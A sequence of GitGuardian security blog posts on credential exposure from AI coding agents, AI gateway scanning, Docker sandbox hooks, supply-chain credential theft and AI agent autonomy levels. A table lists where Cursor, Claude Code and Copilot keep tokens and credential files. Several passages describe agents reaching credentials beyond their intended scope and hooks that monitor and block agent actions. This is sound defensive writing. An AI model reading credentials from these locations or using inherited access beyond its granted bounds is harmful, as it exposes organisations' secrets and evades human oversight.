location.url is optional and worth setting. It points back to your AI gateway log entry, so whoever triages the incident can find the request that produced it.

From inside the AI gateway, that is one call:

import requests
response = requests.post(
    f"{GITGUARDIAN_API_URL}/v1/scan/create-incidents",
    headers={"Authorization": f"Bearer {GITGUARDIAN_API_KEY}"},
    json={
        "source_uuid": GITGUARDIAN_SOURCE_UUID,
        "documents": [
            {
                "filename": "prompt.txt",
                "document": prompt_payload,
                "location": {"url": request_log_url},
            }
        ],
    },
    timeout=5,
)

Set GITGUARDIAN_API_URL to:

https://api.gitguardian.com for SaaS US
https://api.eu1.gitguardian.com for SaaS EU
https://gitguardian.example.com/ if you self-host.

Two limits shape your batching: 20 documents per call, and a maximum scan size that depends on your plan.

Step 4: Decide what to send

Start with the request: the prompt itself, plus the arguments of any tool call. That is where credentials show up.

Model responses are worth scanning too, because an agent that reads a config file and summarizes it back will happily repeat the credential. This only applies in non-blocking mode. If you block, you reject the request before the provider is ever called, so there is no response to look at.

Step 5: Route the incidents

Filter your dashboard by the Custom Source name to isolate AI gateway findings, and set up a dedicated notification rule.

Remediation is more contained here. There is no artifact of your own to clean up, because the copy that matters now sits with a third party. Assess the blast radius of the credential first, then rotate it, or revoke it and issue a new one if the provider does not support rotation in one step.

Check out this example implementation.

What this costs you

Be honest about the hard part. The scan integration is a few hours of work. Getting all LLM traffic through the AI gateway in the first place is a network and IT project.

You need provider endpoints resolved through your gateway, enforced across the fleet via MDM or VPN policy. And you need to accept that a developer who disconnects from the VPN can bypass the whole thing. This is coverage, not containment. It still beats zero visibility.

The pattern generalizes

An AI gateway is one instance of a broader idea. Anywhere content passes through a chokepoint you own, on its way somewhere you do not control, you can scan it. File-sharing services can scan an upload before generating the public link. Outbound mail gateways can bounce a message carrying a credential back to the sender. Diagnostic bundle generators can flag secrets before the file reaches a support ticket.

Same shape every time: a chokepoint, an acceptable latency budget, and content leaving your control. More on these in a future post.

Where to start

Pick a chokepoint you already own where text leaves for a third party. For most engineering organizations today, the AI gateway is the obvious one. Create a Custom Source, wire it in non-blocking mode, and run it for two weeks to size the problem. Then turn on blocking.

Book a demo | BYOS documentation

This is the fifth post in our "Bring Your Own Source" series. The previous ones covered n8n workflow integration, Salesforce, GitLab CI, and GitHub Gists.

This article was written by Romain Jouhannet, Product Manager at GitGuardian.

FAQ

What is an AI gateway?

An AI gateway is an internal proxy or control layer that engineering teams place between their applications and AI model providers. Instead of every application calling OpenAI, Anthropic, or another provider directly, model traffic can flow through a common endpoint. Teams use AI gateways for capabilities such as centralized credential management, cost attribution, rate limiting, observability, and model routing. In this post, we use AI gateway and LLM proxy broadly to describe this same architectural pattern, although some platforms distinguish between a lightweight proxy and a more feature-rich gateway.

What is an LLM proxy?

An LLM proxy is an endpoint that sits between applications, agents, or CI jobs and the model providers they call. When model traffic passes through the proxy, it can inspect prompts and responses before forwarding them upstream, making it a practical enforcement point for detecting exposed secrets. GitGuardian's Bring Your Own Source integration can be used to send this traffic to GitGuardian's secrets detection engine for scanning.

What is generative AI security?

Generative AI security includes protecting credentials and other sensitive data from leaking through the ways developers, applications, and agents interact with generative AI systems, for example through pasted commands, configuration files, prompts, or model API calls. Complementary controls can operate at different points in that flow: developer-side protections can catch secrets before they reach a model, while an AI gateway or LLM proxy can inspect model traffic further downstream across applications, agents, and automated workflows.

AI Coding Agents Are Leaking Credentials: Cursor, Claude Code, Copilot, and MCP

Dwayne McDaniel — Sun, 04 Oct 2026 15:51:12 +0000

TL;DR

The hidden trail: Cursor, Claude Code, and GitHub Copilot store credentials across config files, env variables, logs, shell history, and temp files that repository and CI scanners never inspect.
The evidence: GitGuardian's State of Secrets Sprawl 2026 found 24,008 unique secrets in public MCP configuration files, 2,117 of them valid, plus a 3.2% leak rate in Claude Code-assisted commits.
The fix: GitGuardian Developer Endpoint Protection discovers this trail fleet-wide with local agent inventory, machine scanning, AI hooks, and honeytokens, so security teams can remediate before compromise.

How AI coding agents handle credentials

Agentic coding tools can read files, run commands, and call external services. Authentication to model providers, source-control platforms, and connected tools creates several ways for credentials to remain on the endpoint:

Stored: API keys and tokens can be placed in agent or MCP configuration. Some tools instead use an OS keychain or OAuth flow.
Copied: a credential retrieved from a vault or environment can be written to a local file for debugging or reuse, leaving an unmanaged copy.
Recorded: prompts, command output, debug logs, and session history can capture a credential when redaction is absent or incomplete.

Some of these files can be committed accidentally but many never enter a repository at all.

On one well-managed workstation, these artifacts may look like isolated hygiene issues but in a large organization with decentralized tooling, contractors, multiple business units, and inconsistent endpoint policy, the same pattern multiplies across the fleet. Security may know which repositories it scans while still lacking an inventory of the agents, MCP servers, and standing credentials on the machines that access them.

Here's what the trail looks like, tool by tool.

Cursor

Cursor keeps two MCP configurations: one inside the project, which travels with the repository, and one in the user's home directory, which never enters a repository. Both accept inline credentials, as environment variables for local servers or as request headers for remote ones. Cursor's MCP docs also describe OAuth for remote servers and variable references in place of values, but neither is enforced.

The project file sits inside the repository, so one inline token can be committed and distributed to every developer who clones it. The user-level file creates the opposite problem: credentials and server definitions can remain entirely outside repository controls. In a large fleet, different teams can connect Cursor to different internal systems with different tokens, scopes, and storage practices. Without endpoint inventory, security has no reliable way to see that population or determine which machines hold access to sensitive services.

Claude Code

Claude Code keeps user state in a home directory plus a companion JSON file that holds the sign-in session, user-level MCP servers, and per-project trust decisions. The login token is the best-protected item on the machine: it lives in the OS keychain on macOS and in a permission-protected file on Linux and Windows. Anthropic's docs add that macOS falls back to that file when the Keychain is unavailable, such as in an SSH session. Protecting the primary login token does not inventory the API keys, connection strings, and tool credentials the agent can encounter elsewhere on the machine.

Claude Code's project-scoped MCP file is designed to be checked into version control so a team can share its setup. The tool supports environment-variable references and keychain storage for OAuth tokens, but nothing prevents a team from writing a token inline. When that happens we know the story, the file is pushed and pulled everywhere, copying the token into repository history and onto every machine that receives the configuration.

GitHub Copilot

Copilot's endpoint footprint varies across the editor, CLI, operating system, and authentication method. That variation is itself a governance problem: a security team cannot apply one file-path rule and assume the fleet is covered. Copilot CLI and Claude Code both let a developer relocate their entire state directory with an environment variable.

Copilot CLI stores its OAuth token in the operating system's keychain by default. When no keychain is available, GitHub's docs describe a prompt to store it in a plaintext config file instead, and a setting that makes that the default.

The primary token is only part of the trail. The same directory holds MCP server definitions, session logs, command and session history, a SQLite session store, saved permission decisions, and fallback storage for MCP OAuth material when no keychain is available (directory reference). Across a large fleet, even a minority of machines using plaintext fallbacks, environment tokens, or overprivileged MCP configurations creates a material credential inventory that repository scanning cannot reach.

Where each tool keeps its state

Paths as documented by each vendor in September 2026. They change often, so check the linked page before writing a policy rule on one of them.

Tool	MCP configuration	Other user-level state	Vendor docs
Cursor	`.cursor/mcp.json` in the project, `~/.cursor/mcp.json` for the user	`~/.cursor/`	MCP
Claude Code	`.mcp.json` in the project, user-level servers in `~/.claude.json`	`~/.claude/` and `~/.claude.json`. Login token in `~/.claude/.credentials.json` on Linux, the same file under the user profile on Windows, and as the macOS fallback. Relocatable with `CLAUDE_CONFIG_DIR`	MCP, authentication
Copilot CLI	`~/.copilot/mcp-config.json`	`~/.copilot/`: `config.json` (plaintext token fallback), `logs/`, `session-state/`, `session-store.db`, `permissions-config.json`, `mcp-oauth-config/`. Relocatable with `COPILOT_HOME`	authentication, directory reference

MCP servers: when configuration becomes a credential store

Model Context Protocol servers let agents reach systems such as source control, cloud providers, databases, SaaS applications, and internal services. Each new connection can introduce another non-human identity and another credential with real organizational access. MCP supports OAuth, environment-variable references, credential stores, and runtime helpers, but those safer patterns are not automatically enforced across unmanaged installations.

When credentials are written inline, the MCP configuration files of all three tools become plaintext credential stores. Project-scoped files may also be shared through version control. GitGuardian's State of Secrets Sprawl 2026 analysis found 24,008 unique secrets in public MCP-related configuration files, including 2,117 valid credentials. Public repositories expose the visible portion but enterprise endpoints and internal repositories can hold the same pattern outside public view.

Why this trail grows faster than your hygiene

Shadow AI scales faster than policy. Individual teams can add agents and MCP servers in minutes, while security reviews, procurement, MDM policy, and identity governance move on a different timescale. Fleet inventory can be outdated before it is complete.
The surface compounds across the fleet. Each integration can introduce another identity, credential, configuration path, permission decision, or history store. Multiplied by thousands of developers, small local exceptions become governance issues fast.
AI-assisted workflows show a higher observed leak rate. GitGuardian's State of Secrets Sprawl 2026 analysis found a 3.2% secret-leak rate in public commits assisted by Claude Code versus a 1.5% baseline across all public GitHub commits. For sure, the measurement does not assign causation to the tool alone, but it shows that faster development has not removed the underlying credential failure problem.

What your existing controls miss here

Existing controls can work exactly as designed and still leave this layer uncovered:

Repository, pre-commit, and CI secret scanning cover tracked content, working-tree changes, or pipeline inputs according to their configuration. They do not traverse unrelated home-directory config, browser stores, shell history, or temporary files.
IdP, IAM, and PAM govern identities and sessions they issue or observe. Locally copied API keys and unmanaged third-party tokens fall outside that perimeter.
Secrets managers protect credentials stored in and retrieved through the vault. They cannot govern an unmanaged copy after it has been written to a log, history file, or temporary file unless another control discovers it.

In a large enterprise, that unmeasured gap grows every time a developer adds an agent, connects a new MCP server, or copies a token to make local work move faster. The missing control is a fleet-wide credential discovery on the device.

How GitGuardian Developer Endpoint Protection closes the gap

Developer Endpoint Protection turns this invisible endpoint problem into a fleet-level security program, with four independently deployed capabilities:

Local agent and MCP inventory: visibility into which supported AI agents and MCP servers run on each endpoint, plus the data and tools they can access and how they are used.
Machine scan: scheduled filesystem scans covering config files, dotfiles, logs, IDE and agent caches, shell history, temporary directories, browser storage, archives, and other supported formats. Findings are scored by severity and access scope.
AI hooks: real-time scanning through supported AI coding-tool hooks. Prompt submission and pre-tool checks can block secrets in prompts, commands, file reads, and MCP calls. Post-tool checks notify the developer because the tool has already run.
Honeytoken protection: a decoy AWS credential planted on each protected machine. It grants no access, and any attempt to use it raises an alert tied to that endpoint.

Three design choices matter for how it fits your environment.

Privacy: detection happens locally. GitGuardian receives a 256-bit Scrypt fingerprint through the HasMySecretLeaked protocol, finding metadata such as file path and timestamp, and machine and user inventory metadata. GitGuardian does not receive the plaintext secret or source-file contents. Optional validity checks send the credential directly from the endpoint to its provider, not through GitGuardian.
Deployment: the recommended approach is an MDM-scheduled script, not a continuously running EDR-style agent; launchd, systemd, and configuration-management deployments are also documented.
Fit: it complements repository and CI scanning, vaults, IdP, PAM, EDR, and DLP rather than replacing them. After a compromise, teams can rank findings by severity and privilege, create incidents, and follow the remediation workflow to revoke or relocate credentials and redact supported local occurrences.

How the GitGuardian Mixin Kit Extends Docker Sandboxes for Safer AI Coding

Dwayne McDaniel — Fri, 02 Oct 2026 12:34:10 +0000

TL;DR

A partnership for security: Our new Sandbox Mixin Kit pairs Docker's isolated agent environments with GitGuardian's secret-scanning hooks for safer AI-assisted coding.
Two layers of protection: Docker Sandboxes isolate and protect what a coding agent can reach on a developer's machine, while GitGuardian's ggshield checks prompts, actions, and tool output for exposed credentials.
Ready to use: The mixin installs ggshield and configures AI hooks automatically, so teams get deterministic secret protection the moment a sandboxed agent starts working, no manual setup required.

GitGuardian is proud to partner with Docker to secure secrets

GitGuardian is focused on securing the credential layer. We help teams discover what credentials exist, remediate the ones that pose risk, and prevent secrets from continually sprawling across the enterprise.

That work, and the secrets layer itself, now includes the rapidly growing world of agentic development.

We are proud to partner with Docker as GitGuardian has published a Docker Sandbox Mixin Kit

This kit automatically installs GitGuardian's ggshield and enables AI hooks, giving developers a safer way to use autonomous coding assistants inside a controlled environment.

Agent security needs more than one control. The environment itself needs boundaries, and the credentials moving through that environment need protection too. Docker Sandboxes and GitGuardian address those two parts of the problem together.

Before digging into how the mixin kit works, let's first look at what it is designed to protect. Coding agents can read, execute, connect, and act across a surprisingly large part of a developer's environment, and those capabilities change the way teams need to think about credential security.

Why You Should Use Docker Sandboxes

Coding assistants are now a common part of everyday software development. Developers of all backgrounds and skill levels, including the rapidly growing ranks of "citizen developers," use tools like Claude Code, Cursor, Codex, and GitHub Copilot to write applications and automate work that once required a lot of manual steps.

To do anything meaningful, the agent needs access.

Docker Sandboxes treat the coding agent as an autonomous workload and give it its own environment. Each sandbox runs inside an isolated microVM where the agent can execute commands, install dependencies, and use development tools without gaining unrestricted access to the host machine.

That boundary is vital, as laptops have become dense credential stores. Our research found an average of roughly 150 secrets per developer endpoint in its early access program, with some systems containing thousands. Around 40% of the high and critical secrets discovered appeared in AI tool directories and log files.

Credentials accumulate across .env files, shell histories, MCP configurations, cloud CLI profiles, local configuration files, and AI agent caches. When an agent operates directly in that environment, those credentials can become part of its reachable attack surface.

Docker Sandboxes reduce that reach before the agent starts working. Workspace scoping limits which local files exist from the agent's perspective, network policy controls where it can connect, and sensitive credentials can remain outside the microVM and be injected by Docker's host-side proxy only when an approved request needs them.

Docker SandBox architecture with GitGuardian's Mixin Kit

This gives developers enough freedom to let an agent install, build, test, and iterate while giving security teams a much clearer boundary around what that autonomy can touch.

Docker Sandbox Mixin Kits turn isolation into a paved path

A fresh sandbox gives an agent isolation, but it also starts without any of the tools, configuration, network permissions, and integrations developers expect in a working environment. Docker created Kits, including mixin kits, to package those capabilities so they can be applied consistently when a sandbox is created.

A mixin can install tools, add configuration and files, define network rules, configure credential handling, and provide instructions to the agent. Multiple mixin kits can be stacked together for a particular workflow simply by adding additional --kits <targeted mixin> when invoking sbx. The developer is no longer starting with an empty security boundary, but with an environment where an agent can actually get work done.

Mixin kits can drive sandbox adoption

When developers have to spend time reinstalling packages, rebuilding configuration, resolving blocked services, or manually supplying credentials every time they enter an isolated environment, running the agent directly on the host becomes the easier path. That is not a good thing.

One of the most promising security trends has been the platform-engineering lessons of paved roads and golden paths. The CNCF describes standardized, tested paths as a way to make common capabilities easier to consume, while research around developer experience consistently emphasizes self-service workflows and built-in guardrails as ways to reduce cognitive load and friction.

For Docker Sandboxes, mixins are the mechanism that turns isolation into that paved path: the secure environment arrives with the capabilities developers need instead of asking every developer to rebuild it themselves.

GitGuardian's ggshield AI hooks add deterministic secret checks

Docker Sandboxes control what an agent is allowed to reach, while GitGuardian's AI hooks add credential-aware checks to what moves through the agent workflow. Via ggshield, developers can easily integrate with the native hook systems in Cursor, Claude Code, Codex, and VS Code with GitHub Copilot, using GitGuardian's detection engine to scan for secrets.

Once installed, these checks happen automatically as the agent works, creating deterministic security checkpoints inside an otherwise non-deterministic workflow. The full setup and behavior are documented in GitGuardian's Secret scanning for AI coding tools documentation.

The three current ggshield AI hooks

While each agent provides hooks for multiple workflow events, GitGuardian has started with the three where an agent would most likely have encountered a secret outside of its environment.

The first hook runs when a prompt is submitted. Before a developer's prompt reaches the AI model, ggshield scans it for secrets and blocks the prompt when one is detected. This protects against a common development workflow where someone pastes a configuration file, log output, debugging information, or credential into the conversation while trying to solve a problem. The developer sees which type of secret was detected and can remove it before anything is sent to the model.

The pre-tool use hook moves that protection into actions chosen by the agent itself. File reads, shell commands, and MCP calls can be scanned before execution, and the action is blocked when a secret is detected.

The post-tool-use hook covers the other side of that interaction by scanning output returned from a tool. Because that action has already happened, GitGuardian sends a desktop notification when a secret appears in the result so the developer knows sensitive material has entered the workflow and can respond.

The power of the Docker Sandbox Mixin kit is that it not only installs ggshield in the sandbox, but takes the needed installation steps to set up AI hooks automatically. You get the full protection of the scans from the first prompt the agent sees.

How to get started with the GitGuardian Docker Sandbox mixin

The GitGuardian mixin is designed to make this setup repeatable, so developers do not have to install and configure each security control by hand.

Navigate to the GitGuardian Docker Sandbox Mixin kit on Docker Hub. Alternatively, you can find the code for this mixin kit on the GitGuardian published GitHub repository.
Choose the mixin for your coding assistant. The published GitGuardian kit includes support for Claude Code, Codex, GitHub Copilot, and Cursor.
Provide your GitGuardian API key through Docker's credential handling.

sbx secret set gitguardian

Enter the token when prompted. The real credential stays outside the sandbox and can be supplied through Docker's host-side proxy rather than being placed directly inside the agent environment.

Launch the sandbox with the GitGuardian mixin enabled. The mixin installs ggshield and configures the appropriate Agentic AI hooks for the selected coding assistant.
Start working normally. Once the sandbox is running, ggshield automatically checks supported prompt submissions, pre-tool-use actions, and post-tool-use output for secrets as the developer and agent work.
Respond to findings as they happen. When a secret is detected, the relevant interaction can be blocked or surfaced to the developer so the credential can be removed, rotated, or otherwise remediated before it travels farther through the workflow.

This gives teams a repeatable way to launch an isolated agent environment with credential-aware controls already in place, instead of asking every developer to assemble the same setup themselves.

Build the guardrails into the path developers already want to take

AI coding assistants are going to keep getting more capable, and developers are going to keep finding new ways to use them. The goal for security teams should be to make the safer path just as easy to use as the unrestricted one.

Docker Sandboxes are also only one way to use GitGuardian's AI hooks. Teams already using Claude Code, Cursor, Codex, or GitHub Copilot can install ggshield hooks directly into those environments and get the same deterministic checks around prompts, tool use, and tool output. That means teams can start protecting agentic workflows today, whether Docker Sandboxes are already part of their development platform or something they are still evaluating.

Try the GitGuardian mixin kit with Docker Sandboxes and see what that paved path looks like for your developers. Wherever your agents run, enable GitGuardian AI hooks and put credential protection closer to the moment those agents read, act, and move information. If you want to use GitGuardian at scale in your organization, we would love to help you get started.

FAQ

What is the GitGuardian Docker Sandbox Mixin Kit?

It is a Docker Sandbox mixin that automatically installs GitGuardian's ggshield and configures AI hooks inside a sandbox, giving developers a controlled environment for using autonomous coding assistants safely.

What are Docker Sandboxes and why do they matter for AI coding agents?

Docker Sandboxes run a coding agent inside an isolated microVM so it can execute commands, install dependencies, and use developer tools without unrestricted access to the host machine. That boundary matters because GitGuardian's research found an average of roughly 150 secrets per developer endpoint, with about 40% of high and critical secrets appearing in AI tool directories and log files.

What is a Docker Sandbox mixin kit?

A mixin kit packages tools, configuration, network rules, credential handling, and agent instructions so they can be applied consistently whenever a sandbox is created, turning isolation into a ready-to-use environment instead of an empty one that developers have to rebuild themselves.

What are ggshield's three AI hooks?

The prompt-submission hook scans a developer's prompt for secrets before it reaches the model. The pre-tool-use hook scans file reads, shell commands, and MCP calls before execution and blocks the action if a secret is found. The post-tool-use hook scans tool output and sends a desktop notification if a secret appears in the result.

How do I get started with the GitGuardian Docker Sandbox mixin?

Choose the mixin for your coding assistant on Docker Hub, set your GitGuardian API key with "sbx secret set gitguardian," then launch the sandbox with the mixin enabled. Once running, ggshield automatically scans prompts, pre-tool-use actions, and post-tool-use output for secrets as you work.

Do I need Docker Sandboxes to use GitGuardian's AI hooks?

No. Teams using Claude Code, Cursor, Codex, or GitHub Copilot can install ggshield hooks directly in those environments and get the same deterministic secret checks around prompts, tool use, and tool output, whether or not Docker Sandboxes are part of their platform.

What a Supply Chain Attack Is Really After: Your Credentials

Dwayne McDaniel — Thu, 01 Oct 2026 12:43:08 +0000

TL;DR

Credential theft is becoming central to software supply chain attacks: Across the major 2025–2026 campaigns we analyzed, credential harvesting was the primary objective.
Developer environments are valuable targets: Developer machines and CI/CD runners hold credentials for repositories, cloud infrastructure, package registries, and other systems.
Automation gives attackers speed: A poisoned package can reach downstream environments through normal update and dependency workflows before defenders know it is compromised.
Containment has to account for stolen access: Removing malicious code addresses the infection. Teams also need to understand which credentials were exposed, what they can reach, and whether they have been revoked.

A poisoned package may be where a software supply chain attack starts. The credentials it can reach determine what happens next.

Across the supply chain campaigns GitGuardian analyzed from 2025 through 2026, the initial access varied widely. Attackers compromised maintainer accounts, abused CI/CD workflows, rewrote GitHub Action tags, and poisoned trusted packages.

The objective was remarkably consistent: get credentials.

That changes how security teams need to think about software supply chain security. Protect against malicious code, yes, but also protect the access waiting for it once it executes.

Compromised software is a path to trusted access

Modern development environments need credentials to work. Developers authenticate to source code repositories, cloud environments, package registries, internal tools, and infrastructure. CI/CD pipelines need credentials to publish packages, deploy software, and interact with protected systems.

Attackers know where to look. Campaigns such as Shai-Hulud 2.0 and the Trivy compromise harvested GitHub tokens, package publishing credentials, SSH keys, cloud credentials, and other secrets that could provide access beyond the initially compromised package or machine.

That access can serve several purposes. A stolen credential might open another system, expose additional secrets, or give the attacker the publishing rights needed to push malicious software to another set of victims.

In other words, credential theft can become part of the propagation mechanism itself. The supply chain gives attackers distribution. Credentials give them somewhere to go next.

Developer machines and CI/CD runners concentrate access

There is a reason these campaigns keep landing on developer endpoints and build infrastructure. A production server usually holds credentials associated with the services it runs. A developer machine may contain credentials accumulated across repositories, cloud environments, CLIs, project directories, configuration files, and years of work.

CI/CD runners have their own concentration of access. A single pipeline may need permission to pull private code, publish artifacts, deploy applications, or communicate with production infrastructure.

The Shai-Hulud 2.0 dataset makes that concentration visible. GitGuardian analyzed 20,649 exfiltration repositories containing 33,185 unique secrets, with 3,760 confirmed valid at the time of analysis. For an attacker executing code in one of these environments, compromising the machine may only be the first step. The more important question is what that machine can authenticate to.

Automation makes the window painfully short

The same automation that keeps software current can move a compromised release quickly. When a poisoned Axios version appeared on npm, Dependabot opened its first pull request within five minutes. Across the attack window, 895 repositories were affected.

No developer has to deliberately download a malicious package for this model to work. Dependencies are installed during builds, bots propose updates, CI workflows fetch Actions automatically, etc. Coding agents can increasingly make package changes on a developer's behalf.

This is part of what makes modern supply chain incidents difficult to contain. By the time the malicious release is identified, execution may already have happened across developer machines and pipelines. And once credentials have been harvested, stopping the original package does not invalidate the access it collected.

The response question changes after execution

Traditional supply chain response naturally starts with the compromised artifact: Where was it installed? Which version ran? Which machines and pipelines were affected?

A credential-harvesting campaign adds another layer: Which identities were exposed, and what could they reach?

If malware accessed a cloud credential, GitHub token, SSH key, or package publishing credential, cleaning the affected machine does not close that access path. Responders have to establish the credential scope, identify ownership, prioritize the highest-risk access, and revoke or rotate it. That becomes much easier when the organization already knows where its secrets and non-human identities live. Waiting until the incident to build that map means reconstructing it while the response clock is already running.

See the full anatomy of a credential-harvesting supply chain attack

Our ebook, When the Supply Chain Becomes a Credential Attack, traces this shift across the major supply chain campaigns of 2025 and 2026.

It follows the attack chain from initial compromise through propagation, credential harvesting, exfiltration, and reuse, then breaks down the controls that can reduce both the chance of compromise and the access available afterward.

For security teams responsible for developer environments, CI/CD, secrets, or incident response, the bigger question is becoming clear: if trusted software turns hostile, what credentials are waiting within reach?

Download the ebook

FAQ

What is a software supply chain attack?

A software supply chain attack compromises a component or process that organizations trust to build, distribute, or update software. Attackers may target packages, developer tools, CI/CD workflows, package maintainers, or other parts of the development ecosystem to reach downstream users.

Why do software supply chain attacks target credentials?

Credentials can extend an attacker's access beyond the initially compromised machine or package. Tokens, SSH keys, cloud credentials, and publishing credentials may provide access to repositories, infrastructure, additional secrets, or software distribution channels.

Why are developer machines targeted in supply chain attacks?

Developer machines often hold credentials for many different systems, including source code repositories, cloud services, package registries, and internal development tools. That concentration of access makes them valuable targets for credential-harvesting malware.

Why are CI/CD pipelines high-value targets?

CI/CD pipelines need significant permissions to build, publish, and deploy software. Depending on the workflow, a runner may have access to publishing credentials, source code, deployment credentials, or other secrets. If attacker-controlled code executes in that trusted context, those credentials may become accessible.

How should organizations respond to a credential-harvesting supply chain attack?

Teams need to contain the compromised execution environment and determine which credentials or identities may have been exposed. Response should include scoping affected access, reviewing evidence of credential use, and revoking or rotating exposed credentials based on their permissions and potential impact.

AI Autonomy: How to Find the Autonomy Your Agents Already Have

Dwayne McDaniel — Wed, 30 Sep 2026 12:35:43 +0000

TL;DR

A framework for measuring autonomy: The Cloud Security Alliance's six-level model (Level 0 to Level 5) gives security teams language for how independently an AI agent can act, from human-executed tasks to full autonomy.
Credentials reveal an agent's real reach: Intended boundaries often don't match actual access. GitGuardian found AI-service credentials rose 81% to over 1.27 million, and 64% of credentials valid in 2022 were still active in January 2026.
Detect, remediate, prevent: GitGuardian's Developer Endpoint Protection and AI hooks inventory agent access, rank credentials by risk, and block secrets from spreading through tools like Claude Code, Cursor, and Copilot.

What is AI autonomy?

Merriam-Webster defines autonomy as "the quality or state of being independent, free, and self-directing." Historically, this has applied primarily to people. But like all terms, the definition will continue to evolve with the culture that coined it. Today, that means dealing with agentic AI.

When we talk about AI autonomy, we need to limit this definition a bit further. For AI agents, it means how much an AI system can pursue a goal without direct human involvement.

At lower levels, a person still directs most of the work. The system recommends an action, drafts content, or performs a tightly bounded task. At higher levels, an agent can build a plan, select tools, execute several steps, react to results, and keep working toward an objective with limited human input.

While anecdotally, we can sort any actions based on how much a human is involved, we need a framework that helps us communicate levels of human involvement.

Five-level framework of AI autonomy

Fortunately, groups like the Cloud Security Alliance have been working on this problem and proposed a useful five-level framework. The model intentionally takes inspiration from the Society of Automotive Engineers' levels of vehicle automation, where increasing autonomy is paired with different expectations for oversight, governance, and control.

The CSA framework runs from Level 0 through Level 5:

Level 0: No Autonomy
Level 1: Assisted
Level 2: Supervised
Level 3: Conditional
Level 4: High Autonomy
Level 5: Full Autonomy

Cloud Security Alliance Levels of Agentic AI Autonomy

This framework gives us a useful language for recognizing that progression, from Level 0 human execution through Level 5 full autonomy. The goal is not to force every agent into a rigid governance tier. It is to understand what agents can actually do today.

That requires looking beyond prompts and stated policies to the credentials and access paths underneath them.

This means one of the more critical questions security teams need to ask about an agent is "What data and systems can it reach, and what elevated autonomy would that grant it?"

Organizations need to detect any exposed credentials across the credential layer, remediate any access that creates unnecessary risk, and prevent agents from gaining or spreading plaintext credentials that expand their reach even further.

Types of AI autonomy

The CSA framework gives organizations useful language for recognizing increasing autonomy. It should be read as a spectrum of how human involvement changes as an agent becomes capable of acting more independently.

Level	CSA autonomy model	Human involvement	What to look for
Level 0: No Autonomy	AI provides information or recommendations	Humans perform every action	Can the AI expose sensitive information through what it reads or returns?
Level 1: Assisted	AI can execute actions after explicit approval	Human approves each action	What credentials and systems become reachable once an action is approved?
Level 2: Supervised	Human approves a plan or batch	Agent executes multiple steps independently	How much authority is hidden inside one approval?
Level 3: Conditional	Agent decides and acts inside defined boundaries	Humans handle exceptions	Do technical access and credentials actually enforce those boundaries?
Level 4: High Autonomy	Agent works broadly with minimal supervision	Humans monitor and intervene	How much standing authority can the agent exercise continuously?
Level 5: Full Autonomy	System can direct goals and potentially alter behavior	Strategic oversight	CSA considers this unsuitable for enterprise deployment today

The CSA calls out Level 3 as the point where things get especially interesting, where humans define boundaries, and the agent makes decisions independently inside them. Those boundaries could involve environment, action type, financial value, or other conditions. These boundaries need technical enforcement.

A policy may say that an agent is restricted to development. If the credential available to that agent can authenticate to production, the technical environment allows more than the intended boundary.

The agent has potential reach beyond the autonomy the organization believes it granted.

The same thing happens when an agent intended to modify one repository inherits an organization-wide token, or when an assistant expected to work with local files can call a cloud CLI already authenticated as the developer.

The assigned autonomy level is only part of the picture.

Teams also need to understand the effective authority the system makes available to the agent, especially if it is unintended.

4 credential risks associated with AI autonomy

Every useful agent eventually needs access. Reading a repository, querying a service, or calling an API to talk to a database all require authentication and authorization, which we have traditionally delivered via credentials. These secrets, in the form of keys, tokens, and certificates, connect those agents to the rest of the enterprise.

That makes credentials a useful way to uncover autonomy that may otherwise remain invisible.

1. Reach

Start with knowing which systems the agent can authenticate to. This includes credentials intentionally configured for the agent and credentials sitting within its environment.

A coding agent might have a GitHub token explicitly added to its configuration. It may also run on a developer laptop containing AWS credentials, SSH keys, database passwords, package registry tokens, browser sessions, .env files, and an already-authenticated cloud CLI.

The agent's reach can therefore extend well beyond the credentials anyone remembers assigning to it.

One credential can, and probably will, easily lead to another. An agent with access to a repository can find a hardcoded database password. The database may expose another token. An MCP server may pull a secret into a local configuration file.

Credentials create paths through an organization. Understanding the agent means understanding those paths.

2. Frequency

Autonomy also changes how quickly that authority can be exercised.

At CSA Level 1, a human approves each action. At Level 2, one approved plan may unleash dozens of credential-backed actions.

At Level 3, those actions continue without approval as long as the agent believes it is within its boundaries. Level 4 can turn that authority into continuous machine activity.

A credential originally issued for occasional human use can suddenly support hundreds of automated requests. The danger comes from the agent, which had not yet found or used these keys, changing behavior unexpectedly and treating those secrets as a path to accomplishing a seemingly unrelated goal.

3. Review

Human review gets further away from individual actions as autonomy rises.

A person may believe they are reviewing what an agent is going to do because they approved the initial task. The actual workflow can contain dozens of intermediate decisions, tool calls, file reads, and authenticated actions that were never individually reviewed. This is especially important with agentic systems because the exact execution path can change from run to run.

Security teams need visibility into the authority available before those paths are chosen.

4. Persistence

Agents are often very temporary while their credentials are extremely long-lived. GitGuardian found that more than 64% of credentials confirmed valid in 2022 remained valid when retested in January 2026. This is much longer than any AI agent using a current model could have been running.

A developer may add a token to make an agent work for one afternoon. The configuration survives. The token survives. Another tool discovers it later.

What looked like temporary access becomes part of the standing credential layer.

Mapping AI agent autonomy level vs credential risk

The CSA framework becomes especially useful as a diagnostic tool when we combine the levels with known risks brought by secrets.

This is a good place to remind ourselves that the goal is not to look at every agent and simply stamp "Level 2" or "Level 3" on it. A useful exercise is comparing the autonomy you expect with the authority the agent can actually exercise. This will help guide your security conversations moving forward.

Since the CSA marked Level 3 as the place where things get interesting, let's take a closer look there.

Imagine an infrastructure agent that is supposed to autonomously troubleshoot development environments while escalating anything involving production. On paper, that sounds like a Level 3 boundary.

Now imagine the AWS credential available to the agent has permissions covering development and production. The agent's prompt may say not to touch production. Its operating policy may say not to touch production. The credential layer says production is available, and there is nothing stopping the agent from using it as a means to accomplish the goal.

Those mismatches are what organizations need to find. A prompt instruction is a behavioral boundary. Credential scope is an access boundary. When the two disagree, the agent has more potential reach than the organization intended.

Why AI autonomy magnifies existing credential exposure

Useful AI agents are almost never deployed into completely clean environments with perfectly managed identities and narrowly scoped credentials.

They are entering enterprises already dealing with secrets sprawl.

GitGuardian detected 28.65 million new hardcoded secrets in public GitHub commits during 2025, up 34% year over year. Credentials tied to AI services reached more than 1.27 million, an 81% increase. In that same report, 24,008 unique secrets were found in public MCP configuration files, including 2,117 valid credentials.

AI agents are being added on top of this existing credential layer.

Agents inherit access from the environments where they run

Developer endpoints make the problem particularly visible.

A developer's laptop can contain cloud keys, .env files, SSH keys, shell history, package registry credentials, browser sessions, CLI caches, MCP configuration files, and agent transcripts. At the same time, agents are increasingly creating and writing credentials into local files without a human explicitly deciding where those secrets should live.

The developer's laptop is a credential store.

